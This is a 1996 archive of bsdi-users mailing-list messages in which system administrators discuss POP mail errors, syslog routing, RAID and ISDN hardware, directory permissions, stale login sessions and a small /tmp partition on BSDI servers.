ps 26685 p0 Is 0:00.16 -csh (csh) 28242 p0 R+ 0:00.01 ps -ax Thanks, - Mike ____________________________________________________ Mike Greene (mikeg@rockisland.com) / Internic (MG42) Rock Island Internet / Office Ph. 360.378.5884 From VM Mon Nov 4 23:55:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["844" "Mon" "4" "November" "1996" "14:00:02" "+0000" "Jeremy T. Elston" "techsupport@ais.ais-gwd.com" nil "21" "pop mail errors" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA27051 for ; Mon, 4 Nov 1996 14:15:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00377 for bsdi-users-outgoing; Mon, 4 Nov 1996 14:02:50 -0500 (EST) Message-Id: <199611041905.OAA05359@ais.ais-gwd.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail for Win32 (v2.42a) Precedence: bulk From: "Jeremy T. Elston" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: pop mail errors Date: Mon, 4 Nov 1996 14:00:02 +0000 Greetings... Some of my POP users are having problems checking their e-mail. Running BSDI 2.1. Eudora responds to customer with "Said: QUIT and POP server responded..." My logs show: POPPER Err - Error updating primary drop. Mailbox unchanged. Plenty of space on file system. Valid username. Does not show a mailbox in /var/mail, so I presume they have never received mail at this address, but there is a .{username}.pop file containing info from our bulletins (running popper -b). Manually removing the pop file fixes the problem, but I really want to prevent it from happening in the future. Any ideas as to what exactly causes this? Technical Support - Applied InterNet Solutions - Jeremy T. Elston - System Engineer (TechSupport@Greenwood.net) "Professionalism is a way of life, not a part-time job." From VM Mon Nov 4 23:55:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["194" "Mon" "4" "November" "1996" "11:19:43" "-0800" "Jesse Gambetti" "jhg@duh-ring.radisys.com" nil "9" "BSDi Messages" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA27066 for ; Mon, 4 Nov 1996 14:23:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00418 for bsdi-users-outgoing; Mon, 4 Nov 1996 14:20:54 -0500 (EST) Message-ID: <327E41CF.167EB0E7@duh-ring.radisys.com> X-Mailer: Mozilla 3.0Gold (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Jesse Gambetti Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: BSDi Messages Date: Mon, 04 Nov 1996 11:19:43 -0800 Is there a way to keep the broadcast messages such as printers out of ink, and failed su's and such off everything but Console and the messages log? Thanks Jesse Gambetti RadiSys Corporation From VM Mon Nov 4 23:55:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["462" "Mon" "4" "November" "1996" "14:52:52" "-0500" "Sam Brown" "root@ns2.clever.net" nil "12" "Re: Re[2]: HIgh Performance I/O " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA27608 for ; Mon, 4 Nov 1996 14:39:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00470 for bsdi-users-outgoing; Mon, 4 Nov 1996 14:33:04 -0500 (EST) In-Reply-To: <199611041715.RAA08301@genesis.domino.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" cc: Salyzyn , jacampbe@is2.dal.ca, bsdi-users@BSDI.COM Subject: Re: Re[2]: HIgh Performance I/O Date: Mon, 4 Nov 1996 14:52:52 -0500 (EST) Ya never had a netcom account, ahem. They've been saved many times with their RAID setup, and its kinda nice to know they value their newsfeed. Sam > > > I don't know of any large ISP using RAID5 for news. Easynet don't, Demon > don't and if I remember correctly neither do BTNet. And in most tests > that I've done, more than one disk fails at round about the same time, I've > yet to see someone successfully fix a RAID5 news spool. Can I use LFS on it? From VM Mon Nov 4 23:55:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2016" "Mon" "4" "November" "1996" "11:44:27" "-0800" "Steve Edwards" "sedwards@cts.com" nil "54" "Re: [BSDI] Re: ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA28145 for ; Mon, 4 Nov 1996 14:57:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00488 for bsdi-users-outgoing; Mon, 4 Nov 1996 14:44:45 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Steve Edwards Sender: owner-bsdi-users@lists.gateway.com To: Tim Flavin cc: Amy , bsdi-users@BSDI.COM Subject: Re: [BSDI] Re: ISDN Date: Mon, 4 Nov 1996 11:44:27 -0800 (PST) On Mon, 4 Nov 1996, Tim Flavin wrote: > > > On Wed, 16 Oct 1996, Newline wrote: > > > On Wed, 16 Oct 1996, Amy wrote: > > > > > Can you use and external ISDN modem with BSDI and a regualr com port? > > > Or do i need a terminal adapter? > > > If i do need the TA, any recommended brands? > > > > I have and like an Ascend Pipeline 75. > > > > I like having the ISDN connection on the Ether > > > > The Pipeline 50 or 75 are excellent choices, but if cost is a factor, the > Motorola BitSurfer Pro does the job but is an asyc device so you are > working with the speed limitations of the comm port I didn't expect to debate the relative merits in public, but here we go... While you are correct that the bitsurfer is cheaper to purchase, it is not cheaper to own and operate. I'd rather bill my clients for $xxx/hour (yes, 3 x's) than tinker with a box that gives me less. The bitsurfer does not have the same features or application as the p75. The bitsurfer will take longer to install, configure and debug. There are more problems dealing with configuring a serial connection than there are with an ethernet connection (especially since all of my hosts already have the ethernet connection). In addition, the bitsurfer connects to a single host. The p75 routes for all of my hosts. While I'm sure that the BSDI host could be configured to work with the bitsurfer and route for the network, this is more time and trouble. Plus, your network is now dependent upon that host being available. The p75 also gives me POTS access to both of the B channels with ISDN features like call waiting, call conferencing, and call transfer. (Which I am still tinkering with...) I purchased the p75 for my home net. Hours that I spend on it are not hours I can bill my clients or play with my children. I don't have anything against the bitsurfer, never having used one, but my evil twin is trying to provoke me to have a Freudian slip and type a "u" instead of an "i." :) Steve Edwards sedwards@cts.com From VM Mon Nov 4 23:55:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["444" "Mon" "4" "November" "1996" "12:08:07" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "11" "Console Errors" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA28150 for ; Mon, 4 Nov 1996 14:58:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00538 for bsdi-users-outgoing; Mon, 4 Nov 1996 14:52:20 -0500 (EST) Message-Id: <199611042008.MAA06818@chiba.netxn.com> Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Console Errors Date: Mon, 4 Nov 1996 12:08:07 -0800 (PST) Hello all. I have been receiving the following errors on my console for the last couple of days: Nov 4 12:02:01 chiba kernel: ppp23: output stalled Nov 4 12:02:31 chiba kernel: ppp23: output stalled Any ideas as to why this is happening? I am running BSDI 2.1 using Digi 16 Ports/EM Digiboards. Is this a sign that maybe one of my ports is going bad on the digiboard? Any information would be greatly appreciated. Chris McGlasson From VM Mon Nov 4 23:55:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3145" "Mon" "4" "November" "1996" "14:53:09" "-0500" "Scott Averbach" "scott@shell.flinet.com" nil "68" "Re: Re[2]: HIgh Performance I/O " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA28154 for ; Mon, 4 Nov 1996 14:58:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00549 for bsdi-users-outgoing; Mon, 4 Nov 1996 14:53:37 -0500 (EST) In-Reply-To: <199611041715.RAA08301@genesis.domino.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Scott Averbach Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" cc: bsdi-users@BSDI.COM Subject: Re: Re[2]: HIgh Performance I/O Date: Mon, 4 Nov 1996 14:53:09 -0500 (EST) just to comment, I use a DPT Raid Controller with 64 Megs of Cache and have had very few problems and have seen a HUGE performance increase.... I am only using (3) 4 Gig Seagate Baracuda Drives with it, I have not used the wide version either... Just My 2 Cents.... Scott Averbach ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- -/- Scott Averbach -\- Florida Internet Corporation -/- -\- Senior Systems Administrator -/- We are - Voice: 561.615.0001 -\- -/- mail:scott@flinet.com -\- the most - Fax: 561.615.0002 -/- -\- http://www.flinet.com -/- highly rated ISP in Florida! -\- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- -/- The truth is out there -\- C Code, C Code Run, Run -/- -\- anyone know the URL? -/- Code, RUN! PLEASE!!! -\- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- On Mon, 4 Nov 1996, Neil J. McRae wrote: > On Mon, 04 Nov 96 11:15:20 EST > "Salyzyn" wrote: > > > }3 SCSI Buses Adaptec is definetly the best SCSI controller. > > > > A matter of opinion. I would hazard a guess that the > > DPT controller's ability to handle RAID *and* still > > maintain 30% or more performance to single drives > > (even without the add-on cache) at a similar price for > > the Host Bus Adapter would certainly make one pause > > and think ... > > Well, I've checked this out. What type of RAID does your box do? Striping > is RAID0 [not to be confused with stripping with is RAID69 [thanks mycroft :)]] > how does your RAID5 present itself to the PC? As several SCSI targets? or > as one? In my spare time, yah I'm a sad bastard, I've done many speed tests > and I've yet to see a performance increase that warranted the extra $$ or > the risk in using proprietry drivers, I like BSDI and NetBSD [which is > what I personally use] because of this. > > > DPT sells a 3 bus adapter, the PM3334UW with an add > > on daughter card, and can create a RAID-5 array across > > the three buses if you want. The RAID-5 appears to be > > the best solution for large news spools since ISPs > > recognize the need for reliable news support even through disk > > hardware failures. > > > I don't know of any large ISP using RAID5 for news. Easynet don't, Demon > don't and if I remember correctly neither do BTNet. And in most tests > that I've done, more than one disk fails at round about the same time, I've > yet to see someone successfully fix a RAID5 news spool. Can I use LFS on it? > > The last RAID5 controller I played with was very slow. > > I would be interested in hearing more about your product, including > stats. Sell it to me Mister :-) > > Neil > -- > Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. > neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) > Free the daemon in your computer! > > From VM Mon Nov 4 23:55:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1740" "Mon" "4" "November" "1996" "14:51:00" "-0400" "Dean Anderson" "dean@av8.com" nil "43" "Re: ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA28158 for ; Mon, 4 Nov 1996 14:58:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA00518 for bsdi-users-outgoing; Mon, 4 Nov 1996 14:49:14 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" , "Steve Lalonde" Cc: bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Mon, 4 Nov 1996 14:51:00 -0400 At 1:02 PM 11/1/96, Jacob M. Parnas wrote: >In message <199611011007.KAA16060@enable.enta.net>you write: >>Hi All >> >>I need to be able to stop users from changing directory out of their home >>directory > >I don't see what you mean. Don't they have to get out of their home directory >just to read their mail or get to any programs at all? > >>in to another users directory or back down the tree, But i also need their >>home pages to work. > >Maybe a cron entry that changes all home directory top level and chmod 700 >to all home directories and make their umask 077. > >>i have tried to take away world read access but that stops the web pages >>working > >Could you put the home pages in another directory than their own home >directory. How about making the home dir mode 711, and place the public html files in a well known directory(which is mode 755) under the home dir. Taking away read but allowing execute permissions blocks readdir's but permits lookups, so no one can ls someone elses home directory, but can access files whose names they know, and could for example cd to ~otheruser/public_html. Then also make everyones umask 700 as previously suggested. Any public files then have to be readable to world, and known by name, or the directory has to have the world read bit on. --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Mon Nov 4 23:55:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["622" "Mon" "4" "November" "1996" "13:56:09" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "23" "Re: need to kill a process, but it isn't listed" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28445 for ; Mon, 4 Nov 1996 15:14:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA00617 for bsdi-users-outgoing; Mon, 4 Nov 1996 15:05:04 -0500 (EST) In-Reply-To: <2.2.32.19961104175429.006a6f10@rockisland.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene cc: bsdi-users@BSDI.COM Subject: Re: need to kill a process, but it isn't listed Date: Mon, 4 Nov 1996 13:56:09 -0800 (PST) > Had an odd thing happen sunday night, > > I was dialed in remotely and got dropped, no big deal just dialed back in. > > But when I did a 'who' it shows me being logged in on that port, however the > process table doesn't show the PID for the csh, how do I get rid of that > connection short of rebooting the machine? > > [mikeg][cronus]: w > > USER TTY FROM LOGIN@ IDLE WHAT > mikeg p0 calvin 8:07AM 2 w > mikeg p2 nts20 Sun01PM 19:51 - > > [mikeg][cronus]: ps > > 26685 p0 Is 0:00.16 -csh (csh) > 28242 p0 R+ 0:00.01 ps -ax kill -9 26685 Amy :) From VM Mon Nov 4 23:55:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["234" "Mon" "4" "November" "1996" "13:46:12" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "14" "Re: Spam-removal software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28449 for ; Mon, 4 Nov 1996 15:14:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA00597 for bsdi-users-outgoing; Mon, 4 Nov 1996 15:04:08 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Randy Bush cc: bsdi-users Subject: Re: Spam-removal software Date: Mon, 4 Nov 1996 13:46:12 -0800 (PST) On Sun, 3 Nov 1996, Randy Bush wrote: > How you can solve the spam problem for yourself. Use procmail! > > : > * ^From: (Tim Bass|Jim Fleming|Eugene Kashpureff|David Newall) > /dev/null > > Bye David. Bye spam. > DONE. Amy :) From VM Mon Nov 4 23:55:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1230" "Mon" "4" "November" "1996" "13:59:49" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "29" "Re: [BSDI] Re: ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28492 for ; Mon, 4 Nov 1996 15:15:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA00621 for bsdi-users-outgoing; Mon, 4 Nov 1996 15:05:12 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Steve Edwards cc: Tim Flavin , bsdi-users@BSDI.COM Subject: Re: [BSDI] Re: ISDN Date: Mon, 4 Nov 1996 13:59:49 -0800 (PST) > > > I have and like an Ascend Pipeline 75. > > > > > > I like having the ISDN connection on the Ether > > > > > > > The Pipeline 50 or 75 are excellent choices, but if cost is a factor, the > > Motorola BitSurfer Pro does the job but is an asyc device so you are > > working with the speed limitations of the comm port > > I didn't expect to debate the relative merits in public, but here we go... > > While you are correct that the bitsurfer is cheaper to purchase, it is not > cheaper to own and operate. I'd rather bill my clients for $xxx/hour (yes, > 3 x's) than tinker with a box that gives me less. The bitsurfer does not > have the same features or application as the p75. > > The bitsurfer will take longer to install, configure and debug. There are > more problems dealing with configuring a serial connection than there are > with an ethernet connection (especially since all of my hosts already > have the ethernet connection). > Any experience with Adtran Express? I do not plan to pay for a modem and router in one unit, seeing as (1)I already have a Cisco and Unix to do the routing for me, and (2) have you looked at the price tag for one of those puppies? BTW - I know it's not a modem :) Amy :) From VM Mon Nov 4 23:55:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1289" "Mon" "4" "November" "1996" "15:16:42" "-0400" "Dean Anderson" "dean@av8.com" nil "31" "Re: inbox dir" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28528 for ; Mon, 4 Nov 1996 15:15:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA00637 for bsdi-users-outgoing; Mon, 4 Nov 1996 15:13:15 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: Amy , bsdi-users@BSDI.COM Subject: Re: inbox dir Date: Mon, 4 Nov 1996 15:16:42 -0400 At 5:04 PM 11/1/96, Amy wrote: >I have looking everywhere to try and find out where the delivered mail >directory ( /var/mail ) is defined. I know you can specify where the queue >dir is, and have multiple queues. > >What I want is two inbox directories - one for POP users and one for >shell users. One is to be NFS exported and the other is not. > >I have read the Sendmail book (a few times now :) ) and can't seem to >find anything relevant there. Is the dir to deliver to defined by BSDI? >deliver? sendmail? I think the easiest way to do this is to create your own version of /usr/libexec/mail.local which put mail to different classes of users in different places. Of course, be sure to change the Mlocal mailer definition in /etc/sendmail.cf to point to the new program (to leave some trace other than file sizes) of what you did ;-) ;-) --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Mon Nov 4 23:55:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["849" "Mon" "4" "November" "1996" "14:20:29" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "19" "Weird hanging" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28727 for ; Mon, 4 Nov 1996 15:16:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA00648 for bsdi-users-outgoing; Mon, 4 Nov 1996 15:15:17 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Weird hanging Date: Mon, 4 Nov 1996 14:20:29 -0800 (PST) OK, a while back i mentioned that occassionally one of our servers would be hung in the morning. It has only been the news server since. By accident, I think i might have a clue as to what is causing this. I had the web server mounted on my administration machine and was downloading some small (100K) files directly to the mounted partition and the system crashed and hung until i did a reboot. I was able to do it again right after that. It seems that when i am only downloading 1 file over NFS it's ok, but as soon as it's two the system hangs. Well the news server has been having the same symptoms, but qutie regularly now. The only difference is the news server is not mounted anywhere so i am thinking that it's the number of files coming over the ethernet that is hosing it. Has anyone heard of this before? Any ideas? Amy :) From VM Mon Nov 4 23:55:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2235" "Mon" "4" "November" "1996" "14:21:55" "-0600" "Tim Flavin" "tim@i1.net" nil "52" "Re: [BSDI] Re: ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA29037 for ; Mon, 4 Nov 1996 15:34:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA00707 for bsdi-users-outgoing; Mon, 4 Nov 1996 15:22:13 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Flavin Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: Steve Edwards , bsdi-users@BSDI.COM Subject: Re: [BSDI] Re: ISDN Date: Mon, 4 Nov 1996 14:21:55 -0600 (CST) On Mon, 4 Nov 1996, Amy wrote: > > > > I have and like an Ascend Pipeline 75. > > > > > > > > I like having the ISDN connection on the Ether > > > > > > > > > > The Pipeline 50 or 75 are excellent choices, but if cost is a factor, the > > > Motorola BitSurfer Pro does the job but is an asyc device so you are > > > working with the speed limitations of the comm port > > > > I didn't expect to debate the relative merits in public, but here we go... > > > > While you are correct that the bitsurfer is cheaper to purchase, it is not > > cheaper to own and operate. I'd rather bill my clients for $xxx/hour (yes, > > 3 x's) than tinker with a box that gives me less. The bitsurfer does not > > have the same features or application as the p75. If you bill your clients by the hour, wouldn't it make more sence to bill more hours for a BitSurfer than to take the 15 minutes tops to get an Ascend box running? > > > > The bitsurfer will take longer to install, configure and debug. There are > > more problems dealing with configuring a serial connection than there are > > with an ethernet connection (especially since all of my hosts already > > have the ethernet connection). > > True, and that's why you say you get $xxx an hour for that task. Or you have scripts ready for the customer and have them supply a machine. I charge $500 to produce a router/mail server/web server and can have it all configured in about 2 hours using a 486 with 8mb of ram and 500mb hard disk and a BitSurfer Pro with OS/2, Linux, FreeBSD, or BSDi. If they are hell bent on NT I either tell em to get a Pipeline or a life. > Any experience with Adtran Express? > I do not plan to pay for a modem and router in one unit, seeing as (1)I > already have a Cisco and Unix to do the routing for me, and (2) have you > looked at the price tag for one of those puppies? > BTW - I know it's not a modem :) Never used an Adtran, we are using Ascend MAX 4004 for our dedicated ISDN customers and the Livingston 5BRI card for dialup ISDN and those using an Instant Internet box. Our customers are mainly only using BitsurferPro's and Pipeline 50/75's and we have no problems, set em up and forget about em. Just cash the check afterwards. From VM Mon Nov 4 23:55:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["659" "Mon" "4" "November" "1996" "14:53:12" "+0000" "Mike Grommet" "mgrommet@ns.insolwwb.net" nil "16" "ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA29890 for ; Mon, 4 Nov 1996 16:03:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA00842 for bsdi-users-outgoing; Mon, 4 Nov 1996 15:54:06 -0500 (EST) Message-Id: <199611042037.OAA29312@ns.insolwwb.net> Comments: Authenticated sender is X-mailer: Pegasus Mail for Windows (v2.33) Precedence: bulk From: "Mike Grommet" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ACK... /tmp is too small... how can I fix it? Date: Mon, 4 Nov 1996 14:53:12 +0000 Well, before I came to work for my current employer, the bsdi box we use for ISP and webserver was already set up. However due to my predicessor's shortsightedness, the /tmp directory was created too small. This has been causing a few problems here and there primarily when a user receives a large email (usually some sort of attachment). How can I make the /tmp file bigger without reinstalling bsdi entirely? Or is it even possible? Mike Grommet System Administrator & Web Page Designer Internet Solutions, Inc. mgrommet@insolwwb.net "As long as there are tests, there will always be prayer in schools." -- Unknown, but probably a student :) From VM Mon Nov 4 23:55:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["407" "Mon" "4" "November" "1996" "15:27:11" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "12" "Re: BSDi Messages" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA01120 for ; Mon, 4 Nov 1996 16:39:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA00895 for bsdi-users-outgoing; Mon, 4 Nov 1996 16:23:15 -0500 (EST) In-Reply-To: <327E41CF.167EB0E7@duh-ring.radisys.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Jesse Gambetti cc: bsdi-users@BSDI.COM Subject: Re: BSDi Messages Date: Mon, 4 Nov 1996 15:27:11 -0800 (PST) On Mon, 4 Nov 1996, Jesse Gambetti wrote: > Is there a way to keep the broadcast messages such as printers out of > ink, and failed su's and such off everything but Console and the > messages log? > You can configure syslog in a number a ways. Check syslog.conf in /etc and the syslog.conf man page for more details, but yes, you can redirect console messages to a file (/dev/null if you want) Amy :) From VM Mon Nov 4 23:55:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1068" "Tue" "5" "November" "1996" "09:26:45" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "30" "Re: ACK... /tmp is too small... how can I fix it?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA02777 for ; Mon, 4 Nov 1996 17:41:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA00998 for bsdi-users-outgoing; Mon, 4 Nov 1996 17:27:32 -0500 (EST) In-Reply-To: <199611042037.OAA29312@ns.insolwwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: Mike Grommet cc: bsdi-users@BSDI.COM Subject: Re: ACK... /tmp is too small... how can I fix it? Date: Tue, 5 Nov 1996 09:26:45 +1100 (EST) > Well, before I came to work for my current employer, > the bsdi box we use for ISP and webserver was already set up. > However due to my predicessor's shortsightedness, > the /tmp directory was created too small. This has been causing > a few problems here and there primarily when a user receives a > large email (usually some sort of attachment). > How can I make the /tmp file bigger without reinstalling > bsdi entirely? Or is it even possible? I had exactly the same problem, and fixed it in (what I believe) is a better way, by nailing the culprit. Under the sendmail source directory, in the subdirectory mail.local there is a file called pathnames.h At the end of the file change the original _PATH_LOCTMP from the default of /tmp/ to someplace you have more room: /* #define _PATH_LOCTMP "/tmp/local.XXXXXX" */ #define _PATH_LOCTMP "/var/spool/mailtmp/local.XXXXXX" Recompile and you're done. I've had people send (and receive) files 25Mb and over where I used to have problems with anything over about 6Mb or so. Hope it helps, RossW From VM Mon Nov 4 23:55:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["356" "Mon" "4" "November" "1996" "14:49:38" "-0800" "Steve Edwards" "sedwards@cts.com" nil "16" "Re: [BSDI] Re: ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA03060 for ; Mon, 4 Nov 1996 17:51:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA01029 for bsdi-users-outgoing; Mon, 4 Nov 1996 17:50:09 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Steve Edwards Sender: 